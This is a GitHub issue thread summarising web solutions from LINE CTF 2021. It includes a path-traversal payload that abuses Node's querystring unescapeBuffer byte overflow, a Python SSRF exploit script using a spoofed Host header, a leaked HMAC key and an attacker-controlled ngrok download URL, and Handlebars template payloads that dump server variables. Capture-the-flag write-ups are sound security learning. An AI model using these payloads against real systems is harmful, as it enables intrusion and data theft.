aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

LINE CTF 2021 - Summary #26

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

Writeups

  1. LINE CTF 2021 - Your Note 22 solved
aszx87410 commented 3 years ago

doublecheck

I got the solution from discord, it's about how querystring works. It will try to parse the body using decodeURIComponent, and fallback to unescapeBuffer if failed.

You can use %ff to corrupt decodeURIComponent

decodeURIComponent('%ff')

// Uncaught URIError: URI malformed

Once we switched to unescapeBuffer we can overflow it because it uses Buffer(0~255) under the hood:

https://github.com/nodejs/node/blob/5011009a593437d3e4ab157d448cc464c93c8cc5/lib/querystring.js#L80

function unescapeBuffer(s, decodeSpaces) {
  const out = Buffer.allocUnsafe(s.length);
  let index = 0;
  let outIndex = 0;
  let currentChar;
  let nextChar;
  let hexHigh;
  let hexLow;
  const maxLength = s.length - 2;
  // Flag to know if some hex chars have been decoded
  let hasHex = false;
  while (index < s.length) {
    currentChar = StringPrototypeCharCodeAt(s, index);
    if (currentChar === 43 /* '+' */ && decodeSpaces) {
      out[outIndex++] = 32; // ' '
      index++;
      continue;
    }
    if (currentChar === 37 /* '%' */ && index < maxLength) {
      currentChar = StringPrototypeCharCodeAt(s, ++index);
      hexHigh = unhexTable[currentChar];
      if (!(hexHigh >= 0)) {
        out[outIndex++] = 37; // '%'
        continue;
      } else {
        nextChar = StringPrototypeCharCodeAt(s, ++index);
        hexLow = unhexTable[nextChar];
        if (!(hexLow >= 0)) {
          out[outIndex++] = 37; // '%'
          index--;
        } else {
          hasHex = true;
          currentChar = hexHigh * 16 + hexLow;
        }
      }
    }
    out[outIndex++] = currentChar;
    index++;
  }
  return hasHex ? out.slice(0, outIndex) : out;
}

encoded . is %2E, 0x2E = 46, so we can use any character which % 256 = 46

'N'.charCodeAt(0) % 256 // 46

We can use these chars as well : , , . kanji works too:

POC:

const out = Buffer.allocUnsafe(1);
out[0] = '冷'.charCodeAt(0)
console.log(out) // <Buffer 2e>

So all we need to do is fail the decodeURIComponent and overflow the buffer:

var querystring = require('querystring')

const body = 'p=1&p=%ff/冷冷/ᘮᘮ/NN/flag'
const { p } = querystring.parse(body)

console.log(p)
// [ '1', '�/../../../flag' ]
aszx87410 commented 3 years ago

diveinternal

https://github.com/r00tstici/writeups/tree/master/LineCTF/diveinternal

from: https://github.com/x-vespiary/writeup/blob/master/2021/03-line/web-diveinternal.md

import hmac
import hashlib
import json
import requests

# SERVICE_URL = 'http://localhost:12004'
SERVICE_URL = '<SERVICE_URL>'
NGROK_URL = '<NGROK_URL>'
PRIVATE_KEY = b'let\'sbitcorinparty'

def integrityStatus():
    res = requests.get(f'{SERVICE_URL}/apis/coin', headers={
        'Host': 'private:5000',
        'Lang': 'integrityStatus'
    })
    return res.headers.get('Lang')

def download(src: str):
    sigining = hmac.new(
        PRIVATE_KEY, f'src={src}'.encode('ascii'), hashlib.sha512).hexdigest()
    res = requests.get(f'{SERVICE_URL}/apis/coin', headers={
        'Host': 'private:5000',
        'Lang': f'download?src={src}',
        'Sign': sigining
    })
    return res.headers.get('Lang')

def rollback(key: str, dbhash: str):
    sigining = hmac.new(
        PRIVATE_KEY, f'dbhash={dbhash}'.encode('ascii'), hashlib.sha512).hexdigest()
    res = requests.get(f'{SERVICE_URL}/apis/coin', headers={
        'Host': 'private:5000',
        'Lang': f'rollback?dbhash={dbhash}',
        'Sign': sigining,
        'Key': key
    })
    return res.headers.get('Lang')

if __name__ == '__main__':
    res = integrityStatus()
    print(res)

    status = json.loads(res)
    dbhash = status['dbhash']

    file = 'dummy'
    res = download(f'{NGROK_URL}/{file}')
    print(res)

    key = hashlib.sha512((dbhash).encode('ascii')).hexdigest()
    res = rollback(key, file)
    print(res)

should start to learn python...

aszx87410 commented 3 years ago

https://github.com/theori-io/ctf/blob/master/2021/linectf/LINE%20CTF%202021%20Write%20Up%20-%20The%20Duck.pdf

aszx87410 commented 3 years ago

babysandbox

https://st98.github.io/diary/posts/2021-03-22-linectf.html

app.set('view engine', 'ejs'); just set default view engine, we can still use other view engine.

source code here: https://github.com/expressjs/express/blob/master/lib/view.js#L81

/**
 * Initialize a new `View` with the given `name`.
 *
 * Options:
 *
 *   - `defaultEngine` the default template engine name
 *   - `engines` template engine require() cache
 *   - `root` root path for view lookup
 *
 * @param {string} name
 * @param {object} options
 * @public
 */

function View(name, options) {
  var opts = options || {};

  this.defaultEngine = opts.defaultEngine;
  this.ext = extname(name);
  this.name = name;
  this.root = opts.root;

  if (!this.ext && !this.defaultEngine) {
    throw new Error('No default engine was specified and no extension was provided.');
  }

  var fileName = name;

  if (!this.ext) {
    // get extension from default engine name
    this.ext = this.defaultEngine[0] !== '.'
      ? '.' + this.defaultEngine
      : this.defaultEngine;

    fileName += this.ext;
  }

  if (!opts.engines[this.ext]) {
    // load engine
    var mod = this.ext.substr(1)
    debug('require "%s"', mod)

    // default engine export
    var fn = require(mod).__express

    if (typeof fn !== 'function') {
      throw new Error('Module "' + mod + '" does not provide a view engine.')
    }

    opts.engines[this.ext] = fn
  }

  // store loaded engine
  this.engine = opts.engines[this.ext];

  // lookup path
  this.path = this.lookup(fileName);
}

It will try to require corresponding library by extension. So a.ejs.b.c.hbs will do require('hbs').

After we have hbs template, we can bypass the flag check and get the flag, like:

from: st98

{{#each .}}
  {{#if (lookup . "toString")}}
    {{.}}<br>
  {{/if}}
{{/each}}

each . will do for each on all variables, if there is toString method we can use {{.}} to print it.

we can do this for similar purpose

from Jazzy

{{#each this}}
  {{#if this.toString}}
    {{this}}
  {{/if}}
{{/each}}

or

from The duck

{{#each this}}
  {{@key}} {{lookup this 0}} {{lookup this 1}} {{lookup this 2}}
  <br>
{{/each}}

{{@key}} will print the key of the variable, and {{lookup this 0}} prints value[0], we can get flag by print every byte.

and this

from hakatashi

{{#with this as |o|}}
  {{#with "fl" as |s|}}
    {{#with (s.concat "ag") as |n|}}
      {{#with (n.slice 0 4) as |p|}}
        {{lookup o p}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}